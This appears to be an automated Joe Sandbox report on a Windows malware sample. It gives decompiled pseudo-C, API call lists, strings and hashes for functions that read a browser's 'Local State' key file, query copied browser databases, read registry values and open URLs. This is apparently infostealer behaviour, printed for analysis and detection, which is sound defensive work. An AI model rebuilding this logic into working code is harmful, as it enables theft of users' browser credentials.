API ID: Free$Local$lstrlen$ClientCloseDeleteDesktopFileGlobalHandleRectWindow
String ID:
API String ID: 2265433170-0
Opcode ID: 2f71e4ffecf09b3b2774af1a00047069b3f1968805849384a1551e23598e769b
Instruction ID: 3f0047f936197d72fbe38b984aa16c777f2fa7a70809bf3e6178d070d6d98806
Opcode Fuzzy Hash: 2f71e4ffecf09b3b2774af1a00047069b3f1968805849384a1551e23598e769b
Instruction Fuzzy Hash: BCD11C7D544201AFE711DFE8EC44E2A7BE9FBCA710F004519FA65C32A0DB769906CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A497BB Relevance: 16.5, APIs: 13, Instructions: 263
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00A497BB(void* _a4, short* _a8) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				char _v32;
				void* _v36;
				char _v60;
				signed int _t53;
				signed int _t55;
				signed int _t60;
				void* _t64;
				signed int _t67;
				void* _t71;
				void* _t78;
				void* _t100;
				signed int _t105;
				void* _t107;
				void* _t108;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t126;
				signed int _t127;
				signed int _t133;
				void* _t144;
				char _t149;
				void* _t158;
				void* _t162;
				signed int _t163;
				void* _t164;
				void* _t166;
				void* _t168;
				void* _t173;
				void* _t174;
				signed int _t179;
				void* _t184;

				_t127 = 0;
				_t53 =  *((intOrPtr*)( *0xa4e180))(_a4,  *0xa4ec18, _t162, _t126);
				_t163 = _t53;
				if(_t163 != 0) {
					_t164 = _t163 + 0x10;
					_t55 =  *((intOrPtr*)( *0xa4e180))(_t164,  *0xa4e1e4);
					__eflags = _t55;
					if(_t55 == 0) {
						L5:
						_v16 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t164, _t174) + _t57);
						_t60 = E00A4A4BC(_t164,  &_v16, 0, _t127);
						__eflags = _t60;
						if(_t60 != 0) {
							_t166 = _t164 + _t127 * 2 + 2;
							_t64 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t166) + _t62);
							_v8 = _t64;
							_t179 =  *((intOrPtr*)( *0xa4e180))(_t166,  *0xa4e200) - _t166 >> 1;
							_t67 = E00A4A4BC(_t166,  &_v8, 0, _t179);
							__eflags = _t67;
							if(_t67 != 0) {
								_t168 = _t166 + _t179 * 2 + 2;
								_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t168) + _t69);
								_v12 = _t71;
								__eflags = E00A4A4BC(_t168,  &_v12, 0,  *((intOrPtr*)( *0xa4e180))(_t168,  *0xa4e200) - _t168 >> 1);
								if(__eflags != 0) {
									_t78 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x5000);
									_a4 =  *((intOrPtr*)( *0xa4e13c))(_t78, _v8);
									E00A48F1D(__eflags,  &_a4);
									E00A49055( &_a4);
									E00A48F95( *0xa4e13c,  &_a4);
									E00A4911E( &_a4);
									E00A49188( &_v12,  &_a4);
									E00A492DF( &_a4);
									E00A490BF(__eflags,  &_a4);
									E00A4934D( &_a4);
									E00A49436(__eflags,  &_a4, _v12);
									_t144 = _a4;
									_v36 = _v16;
									_v32 = _t144;
									_v28 = 0;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									_t100 =  *((intOrPtr*)( *0xa4e090))(_t144);
									__eflags = _t100 - 0x40;
									if(_t100 > 0x40) {
										_t107 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
										_t108 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
										_t158 = 0x10;
										_t109 = E00A4A139(_t107, _t158);
										_v24 = _t109;
										_t110 =  *((intOrPtr*)( *0xa4e13c))(_t108,  *0xa4e204);
										_t173 = _v24;
										_t111 = E00A4A5DB(_t110, _t173);
										_t149 =  *0xa4e1f8; // 0x7960b8
										_v28 = _v28 & 0x00000000;
										_v32 = _t149;
										_v24 = _t111;
										_t112 = E00A4839B( &_v24);
										_v20 = _t112;
										_t184 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x184);
										 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t173, 0xffffffff, 0, 0, 0, 0);
										__eflags = 0;
										if(0 != 0) {
											 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t173, 0xffffffff, _t184, 0, 0, 0);
											__eflags = 0;
											if(0 != 0) {
												E00A47C6B(_a8, _t184, 1,  &_v60, 0, 0, _v20,  &_v32);
											}
										}
										LocalFree(_t184);
										LocalFree(_v20);
										LocalFree(_v24);
										LocalFree(_t173);
									}
									LocalFree(_a4);
									LocalFree(_v8);
									LocalFree(_v12);
									L19:
									LocalFree(_v16);
									_t105 = 1;
									L20:
									return _t105;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								L9:
								_push(0xfffffffc);
								L10:
								_pop(1);
								goto L19;
							}
							LocalFree(_v8);
							goto L9;
						}
						_push(0xfffffffd);
						goto L10;
					}
					_t133 = _t55 - _t164;
					__eflags = _t133;
					_t127 = _t133 >> 1;
					if(_t133 >= 0) {
						goto L5;
					}
					_t105 = 0xfffffffe;
					goto L20;
				}
				_t105 = _t53 | 0xffffffff;
				goto L20;
			}

0x00a497ce
0x00a497d3
0x00a497d5
0x00a497d9
0x00a497ee
0x00a497f2
0x00a497f4
0x00a497f6
0x00a49808
0x00a49824
0x00a49829
0x00a49830
0x00a49832
0x00a49846
0x00a49851
0x00a49859
0x00a4986d
0x00a49873
0x00a4987a
0x00a4987c
0x00a4989d
0x00a498a8
0x00a498b0
0x00a498cd
0x00a498cf
0x00a498eb
0x00a498f9
0x00a49900
0x00a49909
0x00a49912
0x00a4991b
0x00a49924
0x00a4992d
0x00a49936
0x00a4993f
0x00a4994b
0x00a49950
0x00a4995c
0x00a49964
0x00a49967
0x00a4996a
0x00a4996c
0x00a4996d
0x00a4996e
0x00a49973
0x00a49976
0x00a49989
0x00a49996
0x00a4999a
0x00a4999f
0x00a499b1
0x00a499b4
0x00a499b6
0x00a499bd
0x00a499c2
0x00a499c8
0x00a499cc
0x00a499d2
0x00a499d5
0x00a499e7
0x00a499f2
0x00a49a03
0x00a49a05
0x00a49a07
0x00a49a1e
0x00a49a20
0x00a49a22
0x00a49a39
0x00a49a3e
0x00a49a22
0x00a49a42
0x00a49a4b
0x00a49a54
0x00a49a5b
0x00a49a5b
0x00a49a64
0x00a49a6d
0x00a49a76
0x00a49a7c
0x00a49a7f
0x00a49a85
0x00a49a88
0x00a49a8b
0x00a49a8b
0x00a498d4
0x00a49881
0x00a49881
0x00a49887
0x00a49889
0x00a49889
0x00000000
0x00a49889
0x00a49881
0x00000000
0x00a49881
0x00a49834
0x00000000
0x00a49834
0x00a497fa
0x00a497fa
0x00a497fc
0x00a497fe
0x00000000
0x00000000
0x00a49802
0x00000000
0x00a49802
0x00a497db
0x00000000

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 638b1cbae67f63a744d16a402eacd59cc4fa79d520933aed31936000f032f3c8
Instruction ID: c8cf3aff5efc4bd5f4efc38990f8a9f036505f96af665a7651ff8d112e04eb7e
Opcode Fuzzy Hash: 638b1cbae67f63a744d16a402eacd59cc4fa79d520933aed31936000f032f3c8
Instruction Fuzzy Hash: D9817D7E940209ABDB00DFE8DC85DAF7BB9FBC5310F104515F914A72A0DB759A12CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A41C95 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00A41C95(WCHAR* __ecx, WCHAR* __edx, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12, void* _a16) {
				WCHAR* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				intOrPtr _v24;
				void* _t35;
				void* _t56;
				void* _t66;
				char _t73;
				void* _t74;
				WCHAR* _t77;
				void* _t78;
				intOrPtr _t81;
				WCHAR* _t93;
				void* _t96;
				intOrPtr* _t98;
				void* _t99;
				intOrPtr _t100;
				intOrPtr* _t101;
				intOrPtr _t102;
				intOrPtr* _t103;

				_v12 = __edx;
				_t73 = 0;
				_v8 = __ecx;
				_v20 = 0;
				_t35 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_t96 = _t35;
				_v16 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				if(_a16 != 0) {
					_push(__ecx);
				} else {
					PathCombineW(_t96, __ecx, _v12);
					_push(_t96);
				}
				_t98 = _a4;
				 *_t98 =  *((intOrPtr*)( *0xa4e13c))( *_t98);
				_t99 = _v16;
				PathCombineW(_t99, _v8, L"Local State");
				_t77 =  *((intOrPtr*)( *0xa4e040))(_t99, 0x80000000, 1, _t73, 3, _t73, _t73);
				_v12 = _t77;
				_t78 =  *((intOrPtr*)( *0xa4e148))(_t77, _t73);
				_a16 = _t78;
				_t93 =  *((intOrPtr*)( *0xa4e048))(0x40, _t78);
				_push(_t73);
				_v8 = _t93;
				_push( &_v20);
				_push(_a16 - 1);
				_push(_t93);
				_push(_v12);
				if( *((intOrPtr*)( *0xa4e08c))() != 0) {
					_t81 = _a16 + _a16;
					_v24 = _t81;
					_t56 =  *((intOrPtr*)( *0xa4e048))(0x40, _t81);
					_t100 =  *0xa4e1e8; // 0x79cb00
					_a16 = _t56;
					E00A4A248(E00A4A59A(_v8), _t100,  &_a16,  &_a16);
					_push(_a16);
					if( *((intOrPtr*)( *0xa4e090))() > 0) {
						_t101 = _a8;
						 *_t101 =  *((intOrPtr*)( *0xa4e13c))( *_t101, _a16);
						LocalFree(_a16);
						_t66 =  *((intOrPtr*)( *0xa4e048))(0x40, _v24);
						_t102 =  *0xa4e1f4; // 0x79e8b8
						_a16 = _t66;
						E00A4A248(E00A4A59A(_v8), _t102,  &_a16,  &_a16);
						_t74 = _a16;
						if(_t74 != 0) {
							_t103 = _a12;
							 *_t103 =  *((intOrPtr*)( *0xa4e13c))( *_t103, _t74);
							LocalFree(_t74);
						}
						_t73 = 1;
					}
					CloseHandle(_v12);
					_t99 = _v16;
				}
				LocalFree(_t99);
				LocalFree(_t96);
				LocalFree(_v8);
				return _t73;
			}

0x00a41caa
0x00a41cad
0x00a41caf
0x00a41cb4
0x00a41cb7
0x00a41cbe
0x00a41cc9
0x00a41ccf
0x00a41cdf
0x00a41cd1
0x00a41cd6
0x00a41cdc
0x00a41cdc
0x00a41ce0
0x00a41cf4
0x00a41cf6
0x00a41cfa
0x00a41d14
0x00a41d1d
0x00a41d22
0x00a41d2c
0x00a41d37
0x00a41d39
0x00a41d3d
0x00a41d40
0x00a41d45
0x00a41d46
0x00a41d47
0x00a41d4e
0x00a41d5c
0x00a41d61
0x00a41d64
0x00a41d69
0x00a41d6f
0x00a41d80
0x00a41d8c
0x00a41d93
0x00a41d95
0x00a41da7
0x00a41da9
0x00a41db9
0x00a41dbe
0x00a41dc4
0x00a41dd5
0x00a41dda
0x00a41de1
0x00a41de3
0x00a41df1
0x00a41df3
0x00a41df3
0x00a41dfb
0x00a41dfb
0x00a41dff
0x00a41e05
0x00a41e05
0x00a41e09
0x00a41e10
0x00a41e19
0x00a41e25

APIs

PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00A41CD6
PathCombineW.SHLWAPI(?,?,Local State), ref: 00A41CFA
LocalFree.KERNEL32(?), ref: 00A41DA9
LocalFree.KERNEL32(?), ref: 00A41DF3
CloseHandle.KERNEL32(?), ref: 00A41DFF
LocalFree.KERNEL32(?), ref: 00A41E09
LocalFree.KERNEL32(00000000), ref: 00A41E10
LocalFree.KERNEL32(?), ref: 00A41E19

Strings

Local State, xrefs: 00A41CEC

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$CombinePath$CloseHandle
String ID: Local State
API String ID: 2998194811-22827320
Opcode ID: 1c368e89782a8174c14198c8e8b52d3c3f733c26faf41e45c0a48c7c5198bc2c
Instruction ID: df51da7aa9bb3d50e5c1d953007ce23b639efed2747f398bc188fc16ed9ade02
Opcode Fuzzy Hash: 1c368e89782a8174c14198c8e8b52d3c3f733c26faf41e45c0a48c7c5198bc2c
Instruction Fuzzy Hash: 4A512B7DA40205EFEB14DFE8ED85AAE7BB8FBC9300B104458F915A3250D7729E11CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A48218 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 134stringnetworkCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 00A482A5
InternetOpenUrlW.WININET(0000002F,?,00A4859B,00000000), ref: 00A482F6
LocalFree.KERNEL32(00000000), ref: 00A4837B
CloseHandle.KERNEL32(00000000), ref: 00A48389
LocalFree.KERNEL32(00000000), ref: 00A48390

Strings

://, xrefs: 00A48269
s, xrefs: 00A482C8
/, xrefs: 00A4827B
record, xrefs: 00A482B6

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$CloseHandleInternetOpenlstrlen
String ID: /$://$record$s
API String ID: 1588835542-2806519808
Opcode ID: ac62075824721464bc5221f00512209d261c9a735ed52978293e4c13c03beb78
Instruction ID: 280bbacfe2432d824ef0790767e764ce1ee7d6b7d32b5566e20ee34c92f804db
Opcode Fuzzy Hash: ac62075824721464bc5221f00512209d261c9a735ed52978293e4c13c03beb78
Instruction Fuzzy Hash: 76419A39A00106FAEB14DFA4DC55BBEB7B8FBC5704F108558E111AB190EBB4AE42CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A46F2A Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00A46F2A(intOrPtr* __ecx, intOrPtr _a4, void* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _t24;
				void* _t25;
				void* _t27;
				intOrPtr* _t32;
				intOrPtr* _t39;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr* _t59;
				intOrPtr* _t69;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t85;
				void* _t87;
				void* _t89;
				void* _t90;
				void* _t91;

				_t59 = __ecx;
				if(_a8 == 0) {
					L18:
					return 0;
				}
				_t24 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_t25 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_a8 = _t25;
				_t87 =  *((intOrPtr*)( *0xa4e008))(_t24, _a4,  *0xa4ea7c);
				_t27 = E00A4A7C4( *0xa4e008,  &_a8);
				_t89 = _a8;
				if(_t27 == 0) {
					L16:
					LocalFree(_t87);
					L17:
					DeleteFileW(_t89);
					LocalFree(_t89);
					goto L18;
				}
				_push(0);
				_push(_t89);
				_push(_t87);
				if( *((intOrPtr*)( *0xa4e178))() == 0) {
					goto L16;
				}
				_t32 =  *0xa4ec64; // 0x0
				_push( &_v8);
				_push(_t89);
				if( *_t32() != 0) {
					L11:
					DeleteFileW(_t89);
					if(_t89 != 0) {
						LocalFree(_t89);
					}
					if(_t87 != 0) {
						LocalFree(_t87);
					}
					return 1;
				}
				_t39 =  *0xa4ec70; // 0x0
				_t40 =  *_t39(_v8,  *0xa4ea34, 0xffffffff,  &_a8, 0);
				_t91 = _t90 + 0x14;
				if(_t40 == 0) {
					while(1) {
						_push(_a8);
						_t41 =  *0xa4ec68; // 0x0
						if( *_t41() != 0x64) {
							break;
						}
						_t43 =  *0xa4ec90; // 0x0
						_t44 =  *_t43(_a8, 0);
						_t69 =  *0xa4ec90; // 0x0
						_v12 = _t44;
						_t45 =  *_t69(_a8, 1);
						_t91 = _t91 + 0x10;
						_v16 = _t45;
						_push(_v12);
						if( *((intOrPtr*)( *0xa4e090))() > 1) {
							_t47 = E00A4A5DB( *_t59, _v12);
							_t82 =  *0xa4e21c; // 0x796278
							 *_t59 = _t47;
							_t48 = E00A4A5DB(_t47, _t82);
							_push(_v16);
							 *_t59 = _t48;
							if( *((intOrPtr*)( *0xa4e090))() > 1) {
								_t51 = E00A4A5DB( *_t59, _v16);
								_t84 =  *0xa4e21c; // 0x796278
								 *_t59 = _t51;
								_t52 = E00A4A5DB(_t51, _t84);
								_t85 =  *0xa4e21c; // 0x796278
								 *_t59 = _t52;
								 *_t59 = E00A4A5DB(_t52, _t85);
							}
						}
					}
					 *0xa4ec8c(_a8);
					 *0xa4ec80(_v8);
					goto L11;
				} else {
					LocalFree(_t87);
					 *0xa4ec8c(_a8);
					 *0xa4ec80(_v8);
					goto L17;
				}
			}

0x00a46f37
0x00a46f39
0x00a470d7
0x00000000
0x00a470d7
0x00a46f4c
0x00a46f59
0x00a46f6a
0x00a46f73
0x00a46f75
0x00a46f7a
0x00a46f7f
0x00a470c2
0x00a470c3
0x00a470c9
0x00a470ca
0x00a470d1
0x00000000
0x00a470d1
0x00a46f8b
0x00a46f8d
0x00a46f8e
0x00a46f93
0x00000000
0x00000000
0x00a46f99
0x00a46fa1
0x00a46fa2
0x00a46fa9
0x00a470a0
0x00a470a1
0x00a470a9
0x00a470ac
0x00a470ac
0x00a470b4
0x00a470b7
0x00a470b7
0x00000000
0x00a470bf
0x00a46faf
0x00a46fc5
0x00a46fc7
0x00a46fcc
0x00a47078
0x00a47078
0x00a4707b
0x00a47086
0x00000000
0x00000000
0x00a46ff2
0x00a46ffc
0x00a46ffe
0x00a47009
0x00a4700c
0x00a47014
0x00a47017
0x00a4701a
0x00a47022
0x00a47029
0x00a4702e
0x00a47036
0x00a47038
0x00a4703d
0x00a47040
0x00a4704c
0x00a47053
0x00a47058
0x00a47060
0x00a47062
0x00a47067
0x00a4706f
0x00a47076
0x00a47076
0x00a4704c
0x00a47022
0x00a4708f
0x00a47098
0x00000000
0x00a46fd2
0x00a46fd3
0x00a46fdc
0x00a46fe5
0x00000000
0x00a46fec

APIs

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

LocalFree.KERNEL32(00000000), ref: 00A46FD3
DeleteFileW.KERNEL32(00000000,?), ref: 00A470A1
LocalFree.KERNEL32(00000000), ref: 00A470AC
LocalFree.KERNEL32(00000000), ref: 00A470B7
LocalFree.KERNEL32(00000000), ref: 00A470C3
DeleteFileW.KERNEL32(00000000), ref: 00A470CA
LocalFree.KERNEL32(00000000), ref: 00A470D1

Strings

xby, xrefs: 00A4702E, 00A47058, 00A47067

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$DeleteFile
String ID: xby
API String ID: 2194112602-3685818439
Opcode ID: d59c869f3b9b05a857ea4c6b12a3468a3346aaaceb814cde53a29594070cca08
Instruction ID: 7bc43fb06101ace87d08818a8524e1eeb0838718466387086d02e20086ddb1e5
Opcode Fuzzy Hash: d59c869f3b9b05a857ea4c6b12a3468a3346aaaceb814cde53a29594070cca08
Instruction Fuzzy Hash: 95418B3D640104EFDB19EFE4EC89AAD7BB5FFC6311B108468F815972A0DB729A02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A48F95 Relevance: 9.1, APIs: 6, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000104,?,?,?,00A49917,00000000), ref: 00A48FF8
RegCloseKey.ADVAPI32(00000000,?,?,?,00A49917,00000000), ref: 00A49001
LocalFree.KERNEL32(00000000,?,?,?,00A49917,00000000), ref: 00A49014
wsprintfW.USER32 ref: 00A49026

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000,00000000), ref: 00A4903E
LocalFree.KERNEL32(00000000), ref: 00A49045

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Free$Local$lstrlen$CloseGlobalQueryValuewsprintf
String ID:
API String ID: 3289414791-0
Opcode ID: c84c2e6e562a19f546dca162f5a3cc9cda0d08a6a03d86b2e3dfed3cdd4af526
Instruction ID: c0ba34716c382474f7a2628f6dc23c6ae3094ecd8d284729bb5d929478029341
Opcode Fuzzy Hash: c84c2e6e562a19f546dca162f5a3cc9cda0d08a6a03d86b2e3dfed3cdd4af526
Instruction Fuzzy Hash: AD115E7E240204FBD714DBE5EC89E6B7BA9FBCA750B100428F615D2160DAB65912CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A4376E Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 200fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,?,?,00000000), ref: 00A439D9

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

DeleteFileW.KERNEL32(?), ref: 00A439B8
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 00A439C8
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 00A439CF

Strings

xby, xrefs: 00A43944, 00A4396D, 00A4397C

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$DeleteFile
String ID: xby
API String ID: 2194112602-3685818439
Opcode ID: 088553efbc13f1b8a78ee75658bf7ca320a0df4f7f78562a19e64b15bd380ab9
Instruction ID: 80a6f684d6ee64d0c652cdde59cecd635c75666ae72b723dd091dcf3f90b13dc
Opcode Fuzzy Hash: 088553efbc13f1b8a78ee75658bf7ca320a0df4f7f78562a19e64b15bd380ab9
Instruction Fuzzy Hash: 1E715D3E940114EFDF11DFE8EC44A9E7BB5FBCA310B104125F925D62A1DBB29A42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A4ACFE Relevance: 7.7, APIs: 6, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00A4ACFE(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _v20;
				intOrPtr _v24;
				short _v32;
				short _v36;
				short _v38;
				char _v40;
				short _v44;
				intOrPtr _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				void* _v68;
				intOrPtr _v76;
				char _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				void* _v116;
				void* _v120;
				short* _v144;
				WCHAR* _v148;
				char _v160;
				intOrPtr _v164;
				void* _t44;
				intOrPtr _t47;
				signed int _t49;
				void* _t51;
				void* _t52;
				intOrPtr _t53;
				void* _t54;
				char _t55;
				intOrPtr _t57;
				intOrPtr* _t69;
				void* _t74;
				void* _t77;
				void* _t78;
				intOrPtr _t87;
				intOrPtr _t94;
				void* _t98;
				intOrPtr _t102;
				void* _t105;
				intOrPtr _t107;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				signed int _t115;
				void* _t118;
				signed int _t119;
				signed int _t120;
				void* _t123;

				_v44 = 0;
				_v24 = __edx;
				_v20 = __ecx;
				_t78 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x1000, _t105, _t112, _t77);
				_t44 = E00A4AF2C(0, _t78,  &_v52, __ecx, 0, 0, __edx, 0);
				_t123 = (_t120 & 0xfffffff8) - 0x2c + 0x14;
				if(_t44 >= 0) {
					_t107 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
					_v48 = _t107;
					_t47 =  *((intOrPtr*)( *0xa4e140))(0x208, _t107);
					_v64 = _t47;
					if(_t47 == 0) {
						L10:
						if(_v68 > 0) {
							_t51 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
							_t52 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
							_t98 = 0x10;
							_t53 = E00A4A139(_t51, _t98);
							_v60 = _t53;
							_t54 =  *((intOrPtr*)( *0xa4e13c))(_t52,  *0xa4e204);
							_t110 = _v68;
							_t55 = E00A4A5DB(_t54, _t110);
							_t87 =  *0xa4e1f8; // 0x7960b8
							_v80 = _t55;
							_v88 = _t87;
							_v84 = 0;
							_t57 = E00A4839B( &_v80);
							_v76 = _t57;
							_t118 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x184);
							 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t110, 0xffffffff, 0, 0, 0, 0);
							if(0 != 0) {
								 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t110, 0xffffffff, _t118, 0, 0, 0);
								if(0 != 0) {
									E00A47C6B(_v144, _t118, 0, 0, _v164, _t78, _v148,  &_v160);
								}
							}
							LocalFree(_t118);
							LocalFree(_v116);
							LocalFree(_v120);
							LocalFree(_t110);
						}
						_t115 = 1;
						L16:
						LocalFree(_t78);
						_t49 = _t115;
						L17:
						return _t49;
					}
					_t119 = 0;
					if(_t47 == 0) {
						goto L10;
					}
					_t94 = _v56;
					_t111 = _t107 + 0xfffffffc;
					_t102 = _v64;
					_t69 = _t94 - 6;
					_v52 = _t69;
					do {
						if(_t119 <= 0) {
							goto L9;
						}
						_t102 = _v64;
						if( *((intOrPtr*)(_t94 + _t119 * 2)) != 0) {
							goto L9;
						}
						_v40 =  *_t69;
						_v38 =  *_t111;
						_v36 = 0;
						_v32 = 0;
						_t74 = E00A4AF2C( &_v40, _t78,  &_v68, _v44,  &_v40, _t73, _v48, 0);
						_t123 = _t123 + 0x14;
						if(_t74 < 0) {
							_t115 = _t119 | 0xffffffff;
							goto L16;
						}
						_t119 = _t119 + 1;
						_t94 = _v56;
						_t69 = _v52 + 2;
						_t102 = _v64;
						_t111 = _t111 + 2;
						L9:
						_t119 = _t119 + 3;
						_t69 = _t69 + 6;
						_t111 = _t111 + 6;
						_v52 = _t69;
					} while (_t119 < _t102);
					goto L10;
				}
				_t49 = LocalFree(_t78) | 0xffffffff;
				goto L17;
			}

0x00a4ad15
0x00a4ad20
0x00a4ad24
0x00a4ad2a
0x00a4ad39
0x00a4ad3e
0x00a4ad43
0x00a4ad68
0x00a4ad70
0x00a4ad74
0x00a4ad76
0x00a4ad7c
0x00a4ae14
0x00a4ae19
0x00a4ae2b
0x00a4ae3c
